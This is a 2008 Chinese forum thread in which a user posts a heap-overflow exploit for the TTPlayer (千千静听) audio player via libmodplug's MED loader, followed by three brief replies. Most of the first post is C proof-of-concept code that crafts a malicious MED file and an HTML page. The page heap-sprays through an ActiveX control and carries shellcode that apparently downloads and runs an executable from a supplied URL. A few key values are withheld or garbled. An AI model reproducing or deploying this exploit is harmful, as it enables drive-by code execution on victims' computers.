免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 4203 | 回复: 3
打印 上一主题 下一主题

千千静听 med 文件格式堆溢出的成功利用 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-04-02 08:49 |只看该作者 |倒序浏览
上个月看的洞,昨天晚上又重新翻看了一下这个洞,终于看到了成功利用的可能性。\r\n远程和本地攻击最后都可以,本地攻击成功比较低一些,头疼。\r\n详细的利用代码不贴了,详细可以看看 libmod 的源码\r\n\r\n下面是远程部分 poc, 2个关键 DWORD 值隐藏了. \r\n\r\n代码:\r\n/*\r\nlibmodplug v0.8\r\n load_med.cpp\r\n BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)\r\n line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);\r\n\r\n千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查\r\n文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。\r\n现在采用libmod 软件很多,都应该存在此问题。\r\n\r\n*/\r\n\r\n/*\r\n author: dummy\r\n e-mail: dummyz@126.com\r\n\r\n date: 2008/02/25\r\n*/\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\n#pragma pack(1)\r\n\r\ntypedef struct tagMEDMODULEHEADER\r\n{\r\n DWORD id; // MMD1-MMD3\r\n DWORD modlen; // Size of file\r\n DWORD song; // Position in file for this song\r\n WORD psecnum;\r\n WORD pseq;\r\n DWORD blockarr; // Position in file for blocks\r\n DWORD mmdflags;\r\n DWORD smplarr; // Position in file for samples\r\n DWORD reserved;\r\n DWORD expdata; // Absolute offset in file for ExpData (0 if not present)\r\n DWORD reserved2;\r\n WORD pstate;\r\n WORD pblock;\r\n WORD pline;\r\n WORD pseqnum;\r\n WORD actplayline;\r\n BYTE counter;\r\n BYTE extra_songs; // # of songs - 1\r\n} MEDMODULEHEADER;\r\n\r\ntypedef struct tagMMD0SAMPLE\r\n{\r\n WORD rep, replen;\r\n BYTE midich;\r\n BYTE midipreset;\r\n BYTE svol;\r\n signed char strans;\r\n} MMD0SAMPLE;\r\n\r\n// MMD0/MMD1 song header\r\ntypedef struct tagMMD0SONGHEADER\r\n{\r\n MMD0SAMPLE sample[63];\r\n WORD numblocks; // # of blocks\r\n WORD songlen; // # of entries used in playseq\r\n BYTE playseq[256]; // Play sequence\r\n WORD deftempo; // BPM tempo\r\n signed char playtransp; // Play transpose\r\n BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song\r\n BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on\r\n BYTE tempo2; // tempo TPL\r\n BYTE trkvol[16]; // track volumes\r\n BYTE mastervol; // master volume\r\n BYTE numsamples; // # of samples (max=63)\r\n} MMD0SONGHEADER;\r\n\r\ntypedef struct tagMMD0EXP\r\n{\r\n DWORD nextmod; // File offset of next Hdr\r\n DWORD exp_smp; // Pointer to extra instrument data\r\n WORD s_ext_entries; // Number of extra instrument entries\r\n WORD s_ext_entrsz; // Size of extra instrument data\r\n DWORD annotxt;\r\n DWORD annolen;\r\n DWORD iinfo; // Instrument names\r\n WORD i_ext_entries; \r\n WORD i_ext_entrsz;\r\n DWORD jumpmask;\r\n DWORD rgbtable;\r\n BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)\r\n DWORD n_info;\r\n DWORD songname; // Song name\r\n DWORD songnamelen;\r\n DWORD dumps;\r\n DWORD mmdinfo;\r\n DWORD mmdrexx;\r\n DWORD mmdcmd3x;\r\n DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists\r\n DWORD effectinfo_ofs; // ptr to group ptrs\r\n DWORD tag_end;\r\n} MMD0EXP;\r\n\r\n#pragma pack()\r\n\r\n// Byte swapping functions from the GNU C Library and libsdl\r\n\r\n/* Swap bytes in 16 bit value. */\r\n#ifdef __GNUC__\r\n# define bswap_16(x) \\\r\n (__extension__ \\\r\n ({ unsigned short int __bsx = (x); \\\r\n ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))\r\n#else\r\nstatic __inline unsigned short int\r\nbswap_16 (unsigned short int __bsx)\r\n{\r\n return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));\r\n}\r\n#endif\r\n\r\n/* Swap bytes in 32 bit value. */\r\n#ifdef __GNUC__\r\n# define bswap_32(x) \\\r\n (__extension__ \\\r\n ({ unsigned int __bsx = (x); \\\r\n ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) | \\\r\n (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))\r\n#else\r\nstatic __inline unsigned int\r\nbswap_32 (unsigned int __bsx)\r\n{\r\n return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |\r\n (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));\r\n}\r\n#endif\r\n\r\n#ifdef WORDS_BIGENDIAN\r\n#define bswapLE16(X) bswap_16(X)\r\n#define bswapLE32(X) bswap_32(X)\r\n#define bswapBE16(X) (X)\r\n#define bswapBE32(X) (X)\r\n#else\r\n#define bswapLE16(X) (X)\r\n#define bswapLE32(X) (X)\r\n#define bswapBE16(X) bswap_16(X)\r\n#define bswapBE32(X) bswap_32(X)\r\n#endif\r\n\r\n#define FILE_SIZE_ 0x30000\r\n// 远程攻击\r\n#if 0\r\n// 成功率很低\r\n#define NOP_ \"\\\"%u090aऊ\\\"\"\r\n#define HEAP_ADDR_ 码\r\n#else\r\n// 成功率很高\r\n#define NOP_ \"\\\"邐邐\\\"\"\r\n#define HEAP_ADDR_ 码\r\n\r\n#endif\r\n\r\nconst unsigned char shellcode[174] =\r\n{\r\n // 必须是偶数大小\r\n 0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A,\r\n 0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F,\r\n 0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1,\r\n 0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C,\r\n 0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41,\r\n 0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03,\r\n 0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B,\r\n 0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC,\r\n 0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB,\r\n 0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00,\r\n 0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90\r\n};\r\n\r\nconst char* script1 = \\\r\n \"<html><body><object id=\\\"ttp\\\" classid=\\\"clsid:89AE5F82-410A-4040-9387-68D1144EFD03\\\"></object><script>\"\r\n \"var sc=unescape(\\\"\";\r\nconst char* script2 = \\\r\n \"\\\");\"\r\n \"fb=unescape(\" NOP_ \");\"\r\n \"while(fb.length<0x30000)fb+=fb;\"\r\n \"m=new Array();\"\r\n \"for(x=0;x<400;x++)m[x]=sc+fb+sc;\"\r\n \"setTimeout(\\\'ttp.URL=\\\"\";\r\nconst char* script3 = \\\r\n \"\\\";ttp.controls.play();\\\', 3);</script>\"\r\n \"</body>\"\r\n \"</html>\";\r\n\r\nvoid make_med_file(const char* path)\r\n{\r\n MEDMODULEHEADER mmh;\r\n MMD0SONGHEADER msh;\r\n MMD0EXP mex;\r\n FILE* file;\r\n long p;\r\n\r\n memset(&mmh, 0, sizeof (mmh));\r\n memset(&msh, 0, sizeof (msh));\r\n memset(&mex, 0, sizeof (mex));\r\n \r\n p = 0;\r\n\r\n mmh.id = 0x30444D4D; // version = \'0\'\r\n\r\n p += sizeof (MEDMODULEHEADER);\r\n mmh.song = bswapBE32(p);\r\n\r\n p += sizeof (MMD0SONGHEADER);\r\n mmh.expdata = bswapBE32(p);\r\n \r\n p += sizeof (MMD0EXP);\r\n mex.annolen = bswapBE32(-1);\r\n mex.annotxt = bswapBE32(p);\r\n \r\n file = fopen(path, \"wb+\");\r\n if ( file == NULL )\r\n {\r\n printf(\"create file failed!\\n\");\r\n exit(0);\r\n }\r\n else\r\n {\r\n fwrite(&mmh, 1, sizeof (mmh), file);\r\n fwrite(&msh, 1, sizeof (msh), file);\r\n fwrite(&mex, 1, sizeof (mex), file);\r\n \r\n while ( ftell(file) < FILE_SIZE_ )\r\n {\r\n fwrite(HEAP_ADDR_, 1, 4, file);\r\n }\r\n \r\n fclose(file);\r\n printf(\"successed!\\n\");\r\n }\r\n}\r\n\r\nvoid make_htlm_file(const char* htmlpath, const char* s3mpath, const char* url)\r\n{\r\n FILE *file = fopen(htmlpath, \"w+\");\r\n if ( file == NULL )\r\n {\r\n printf(\"create \'%s\' failed!\\n\", htmlpath);\r\n exit(0);\r\n }\r\n\r\n fprintf(file, \"%s\", script1);\r\n for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )\r\n fprintf(file, \"%%u%02X%02X\" , shellcode[i + 1], shellcode);\r\n \r\n const unsigned l = strlen(url);\r\n for ( unsigned j = 0; j < l; j += 2 )\r\n fprintf(file, \"%%u%02X%02X\" , url[j + 1], url[j]);\r\n \r\n fprintf(file, \"%s%s%s\", script2, s3mpath, script3);\r\n fclose(file);\r\n \r\n printf(\"make \'%s\' successed!\\n\", htmlpath);\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n printf(\"ttplayer stack exp poc by dummyz@126.com\\n\");\r\n if ( argc <= 1 )\r\n {\r\n printf(\"need argv!(ex: %s http://xxx.xxx/xx.exe\\n\", argv[0]);\r\n return -1;\r\n }\r\n \r\n printf(\"+ make_med_file...\\n\");\r\n make_med_file(\"c:\\\\shit.s3m\");\r\n\r\n printf(\"+ make_htlm_file...\\n\");\r\n make_htlm_file(\"poc.html\", \"c://shit.s3m\", argv[1]);\r\n\r\n printf(\"done.\\n\");\r\n\r\n return 0;\r\n}

论坛徽章:
0
2 [报告]
发表于 2008-04-02 12:27 |只看该作者
汗,帖了个shellcode完事了...

论坛徽章:
0
3 [报告]
发表于 2008-04-11 14:14 |只看该作者

看不懂

我滴  楼主太厉害了 我硬是没看懂啥意思。。

论坛徽章:
0
4 [报告]
发表于 2008-04-15 19:36 |只看该作者
太深奥了....................................\r\n没看懂:rolleyes:
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP